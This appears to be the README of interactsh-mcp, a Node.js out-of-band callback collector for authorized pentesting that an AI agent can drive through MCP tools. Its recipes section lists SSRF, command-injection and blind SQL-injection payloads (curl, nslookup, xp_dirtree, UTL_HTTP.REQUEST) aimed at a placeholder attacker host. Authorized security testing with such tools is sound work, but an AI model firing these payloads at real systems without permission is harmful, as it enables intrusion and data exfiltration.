Skip to main content
Glama
bytes-Knight

interactsh

by bytes-Knight
README.md
<div align="center">

<img src="https://readme-typing-svg.demolab.com?font=JetBrains+Mono&weight=700&size=32&pause=900&color=22D3EE&center=true&vCenter=true&width=780&height=90&lines=interactsh-mcp;Out-of-Band+interactions%2C+zero+binaries;Native+Interactsh+client+for+Node.js;MCP+server+%2B+hackable+CLI" alt="interactsh-mcp" />

**Out-of-Band (OOB) interaction collector for bug-bounty hunting and authorized pentesting.**
A **native Node.js** implementation of the [ProjectDiscovery Interactsh](https://github.com/projectdiscovery/interactsh) client protocol β€” exposed as an **MCP server** for AI agents and a tiny **background-monitor CLI**.

**No Go binary. Zero npm dependencies. Just Node β‰₯ 16.**

[![npm version](https://img.shields.io/npm/v/@bytesknight86/interactsh-mcp?color=22d3ee&label=npm&logo=npm)](https://www.npmjs.com/package/@bytesknight86/interactsh-mcp)
[![npm downloads](https://img.shields.io/npm/dm/@bytesknight86/interactsh-mcp?color=22d3ee&label=downloads)](https://www.npmjs.com/package/@bytesknight86/interactsh-mcp)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE.md)
[![Node](https://img.shields.io/badge/node-%E2%89%A5%2016-339933?logo=node.js&logoColor=white)](#-requirements)
[![Dependencies](https://img.shields.io/badge/dependencies-0-brightgreen)](#-why-this-exists)
[![MCP compatible](https://img.shields.io/badge/MCP-compatible-8b5cf6)](#-use-as-an-mcp-server)
[![Platform](https://img.shields.io/badge/platform-win%20%7C%20linux%20%7C%20macos-lightgrey)](#-requirements)

[⚑ Quick start](#-quick-start) Β· [🧠 MCP tools](#-mcp-tools) Β· [πŸ’» CLI](#-cli) Β· [πŸ—οΈ How it works](#️-how-it-works) Β· [🎯 Recipes](#-hunting-recipes) Β· [🩺 Troubleshooting](#-troubleshooting) Β· [❓ FAQ](#-faq)

</div>

---

> [!NOTE]
> For **authorized** security testing only β€” bug-bounty programs, your own assets, and engagements you have written permission to perform. See [DISCLOSURE](DISCLOSURE).

## ✨ Highlights

|  |  |
|---|---|
| 🧩 **MCP-native** | Drop it into Claude Code, Cursor, Windsurf, Freebuff, or any MCP client and let the agent fire payloads and read the callbacks itself. |
| πŸ“¦ **Zero dependencies** | Pure Node.js `crypto`/`http`/`https`. No `interactsh-client` binary to ship, pin, or hunt down. |
| πŸ” **Real protocol, not scraping** | Implements register/poll, RSA-OAEP-SHA256 key wrap, AES-256-CTR payloads, xid correlation-ids and z-base-32 nonces exactly as the Go reference. |
| πŸ” **Stable domain** | Identity persists in `~/.interactsh-mcp`. Stop/start keeps the same domain; rotate only when you ask. |
| ⚑ **Fast, shared polling** | A background daemon polls every 4 s; the CLI and MCP server read the **same** evidence file. |
| πŸ›°οΈ **Server failover** | Registers against `oast.pro β†’ oast.live β†’ oast.site β†’ oast.me β†’ oast.fun β†’ oast.online`. |
| 🩹 **Self-healing state** | Auto-rotates on eviction, and survives a locked state file by falling back to `*.state.*` names. |

## ⚑ Quick start

```bash
npm install -g @bytesknight86/interactsh-mcp
```

<details open>
<summary><b>🧠 Use as an MCP server</b> (recommended β€” let the agent hunt)</summary>

Add this to your MCP client config:

```json
{
  "mcpServers": {
    "interactsh": { "command": "interactsh-mcp", "args": ["stdio"] }
  }
}
```

Then just talk to your agent:

> **You:** *Use the interactsh tools to start a session and give me an OOB URL for this SSRF.*
>
> **Agent:** calls `oob_url` β†’ injects the host β†’ waits β†’ calls `oob_poll` β†’ reports the callback IP, headers and body.

</details>

<details>
<summary><b>πŸ’» Use the CLI</b> (shell loops, scripts, no client needed)</summary>

```bash
interactsh-mcp --start          # background collector β†’ prints your OOB domain
interactsh-mcp --url 3          # 3 unique payload hosts, one per injection point
#   β†’ inject one of them (SSRF / RCE / XXE / log poisoning …)
sleep 6
interactsh-mcp --http           # the raw requests that came back (IP + full request)
```

One-liner self-test (fires a DNS + HTTP trigger and prints the captures):

```bash
interactsh-mcp --probe 2
```

</details>

### 🎬 60-second demo

```console
$ interactsh-mcp --start
OOB domain: d72gomcpeqooj0thlc6m.oast.pro
(collector running in background, pid 17992)

$ interactsh-mcp --url 1
https://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro    http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro

# …inject it wherever the target will fetch a URL, then:

$ interactsh-mcp --http
────────────────────────────────────────────
protocol: http
time:     2026-10-17T16:13:41.596Z
id:       d72gomcpeqooj0thlc6mmpantcbpcknha
remote:   146.70.29.197
request:  GET / HTTP/2.0
    Host: d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro
    User-Agent: curl/8.5.0
response: HTTP/1.1 200 OK
```

## 🧠 MCP tools

| Tool | Arguments | Returns |
|---|---|---|
| `oob_status` | β€” | domain, registration/polling health, interaction count, write errors |
| `oob_domain` | β€” | `{ domain }` |
| `oob_url` | `n` (1–20), `marker?` | N unique payload hosts + `http`/`https` URLs |
| `oob_poll` | `since?`, `caller?` | new interactions since a cursor; `caller` persists the cursor |
| `oob_dump` | β€” | every interaction ever captured |
| `oob_reset` | β€” | drop the session and register a **fresh** domain |

<details>
<summary><b>Typical agent flow</b></summary>

```text
oob_url   { n: 3, marker: "ssrf_image_import" }
   β†’ 3 hosts, one per injection point

# agent injects + waits ~6s

oob_poll  { caller: "ssrf_image_import" }
   β†’ { cursor: 42, count: 1, interactions: [ { protocol: "http", remote-address: "…", raw-request: "GET /…" } ] }
```

`caller` keeps a per-hunt cursor so repeated polls never re-report old hits.

</details>

## πŸ’» CLI

```
interactsh-mcp --help            show help
interactsh-mcp --start           start the background collector, print the domain, return
interactsh-mcp --domain          show the active domain + collector status
interactsh-mcp --url [N]         print N unique OOB payload URLs to inject
interactsh-mcp --http [N]        show the last N interactions (DNS + HTTP + SMTP/LDAP…)
interactsh-mcp --probe [N]       self-test: payload β†’ DNS + HTTP trigger β†’ wait β†’ show captures
interactsh-mcp --restart         drop the session β†’ FRESH domain
interactsh-mcp --stop            stop the collector (clears history; add --keep-logs to keep it)
interactsh-mcp --json            machine-readable status
interactsh-mcp stdio             run as an MCP server on stdio
```

Every entry point (`interactsh-mcp`, `interactsh-mcp.cmd`, `launcher.js`, `server.js`) funnels into the same implementation and the same data directory β€” so the MCP tools and the CLI always see the same evidence.

## πŸ—οΈ How it works

```mermaid
flowchart LR
  subgraph TARGET["🎯 Target you're testing"]
    A["SSRF Β· blind RCE Β· XXE<br/>log poisoning Β· SQLi exfil"]
  end

  subgraph OAST["πŸ›°οΈ Interactsh OAST servers"]
    S["oast.pro Β· oast.live Β· oast.site<br/>register / poll Β· DNS Β· HTTP Β· SMTP Β· LDAP"]
  end

  subgraph LOCAL["πŸ’» Your machine (Node β‰₯ 16)"]
    D["lib/daemon.js<br/>poller Β· every 4s"]
    M["lib/mcp-server.js<br/>MCP over stdio"]
    C["bin/cli.js<br/>interactsh-mcp"]
    ST[("~/.interactsh-mcp/<br/>shared state")]
    LLM["πŸ€– AI agent / MCP client"]
  end

  A -- "resolves / fetches the payload host" --> S
  D -- "poll (AES-256-CTR)" --> S
  M -- "poll" --> S
  S -- "encrypted interactions" --> D
  D --> ST
  M --> ST
  C --> ST
  LLM <--> M
```

<details>
<summary><b>Payload anatomy</b> β€” the one rule that matters</summary>

The server attributes an interaction **only** when a **single 33-char label** is present in the host β€” 20 chars of *correlation-id* (xid alphabet) followed by 13 chars of *nonce* (z-base-32):

```text
     20 chars (xid)           13 chars (z-base-32)
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   d72gomcpeqooj0thlc6m   mpantcbpcknha   . oast.pro
   └────────── correlation-id β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   └─ OAST server
                    + nonce  β†’  33-char single label
```

- βœ… `http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro/`
- ❌ `http://some/path.d72gomcpeqooj0thlc6m.oast.pro/` β€” the bare domain is **never** attributed.

Always take hosts from `--url` / `oob_url`; never hand-roll them.

</details>

<details>
<summary><b>State & data directory</b> (<code>$INTERACTSH_MCP_HOME</code> or <code>~/.interactsh-mcp</code>)</summary>

| File | Purpose |
|---|---|
| `session.json` | identity: correlation-id, secret-key, RSA keys (domain survives restarts) |
| `interactions.jsonl` | every captured interaction (raw HTTP request/response, DNS, SMTP, LDAP…) |
| `domain.txt` | current payload domain |
| `status.json` | collector status (pid, health, counters) |
| `cursors.json` | per-`caller` `oob_poll` cursors |
| `client_lines.log` | register / poll / eviction events |

If an OS security agent locks one of these names, the store transparently falls back to a `*.state.*` name and reports it as `fs_write_error` β€” it never silently drops your session.

</details>

## 🎯 Hunting recipes

<details>
<summary><b>SSRF</b> β€” server-side request forgery</summary>

Inject a payload URL into any field the server will fetch, then `interactsh-mcp --http`:

```bash
interactsh-mcp --url 1
# β†’ https://<payload-host>
```
```json
{ "image_url": "https://<payload-host>/", "webhook": "https://<payload-host>/cb" }
```
A callback (with the `User-Agent` / headers of the fetcher) proves outbound reachability.

</details>

<details>
<summary><b>Blind RCE / command injection</b></summary>

```bash
interactsh-mcp --url 1
# β†’ <payload-host>
```
```bash
curl http://<payload-host>/
nslookup <payload-host>
ping -c1 <payload-host>
```
</details>

<details>
<summary><b>XXE</b> β€” XML external entity</summary>

Declare an external entity whose `SYSTEM` identifier is one of your payload URLs, then reference that entity in the document body. A vulnerable parser resolves it server-side and you get the callback.

```xml
<!-- external entity: SYSTEM id = an oob_url payload Β· referenced in the body -->
```
</details>

<details>
<summary><b>Blind SQLi exfiltration</b></summary>

```sql
-- MSSQL
EXEC master..xp_dirtree '\\<payload-host>\x';
-- Oracle
SELECT UTL_HTTP.REQUEST('http://<payload-host>/') FROM dual;
```
</details>

<details>
<summary><b>Header / log poisoning &amp; provenance</b></summary>

Give each injection point its **own** host (via `oob_url { n, marker }`) and the callback tells you exactly which sink ingested and fetched it β€” including the proxy/hostname it came from.

</details>

## 🩺 Troubleshooting

<details>
<summary><b><code>--http</code> prints nothing / β€œno interactions yet”</b></summary>

1. Make sure you hit a **33-char payload host**, not the bare domain (see *Payload anatomy*).
2. Check the collector: `interactsh-mcp --domain` β†’ `domain`, `last_error`, `fs_write_error`.
3. Self-test the whole path: `interactsh-mcp --probe 1`.

</details>

<details>
<summary><b><code>fs_write_error: … is reserved on disk; using …</code></b></summary>

A Windows security agent (observed with Bitdefender's RedLine ransomware-remediation module) can **reserve a filename** after it is deleted, so it can't be recreated. The store falls back to `session.state.json` / `domain.state.txt` and keeps running. To clear the reservation, add an AV exclusion for the data directory or reboot.

</details>

<details>
<summary><b>Domain changed / callbacks stopped</b></summary>

The identity lives in `session.json`. If the session is evicted (two consecutive poll 401s) the daemon auto-rotates. `--stop` / `--restart` clear history by default β€” use `--keep-logs` to preserve evidence across them.

</details>

## ❓ FAQ

<details><summary><b>Do I need the Go <code>interactsh-client</code>?</b></summary>No. Everything is implemented in Node.js, using only the standard library.</details>
<details><summary><b>Does this work offline / on a private server?</b></summary>It talks to the public OAST servers by default. Self-hosted Interactsh support is a natural next step.</details>
<details><summary><b>Can the MCP and the CLI run at the same time?</b></summary>Yes β€” they share one data directory. Start the background daemon for 24/7 capture; the MCP reads the same `interactions.jsonl`.</details>
<details><summary><b>Which protocols are captured?</b></summary>Whatever the Interactsh server records: DNS, HTTP, SMTP, LDAP, and more β€” surfaced verbatim in `interactions.jsonl`.</details>

## 🧱 Requirements

- Node.js **β‰₯ 16**
- Windows / Linux / macOS
- Outbound HTTPS to an OAST server (falls back to plain HTTP if needed)

## 🀝 Contributing

Issues and PRs are welcome. Run the local battery before opening a PR:

```bash
node mcp_test.js      # MCP stdio battery (11/11 expected)
node test_suite.js    # end-to-end DNS + HTTP round-trip suite
```

## πŸ“„ License

[MIT](LICENSE.md) Β© 2026

<div align="center">

<sub>Built for hunters who want callbacks, not ceremonies.</sub>

[![Star History Chart](https://api.star-history.com/svg?repos=bytes-Knight/interactsh-mcp&type=Date)](https://star-history.com/#bytes-Knight/interactsh-mcp&Date)

</div>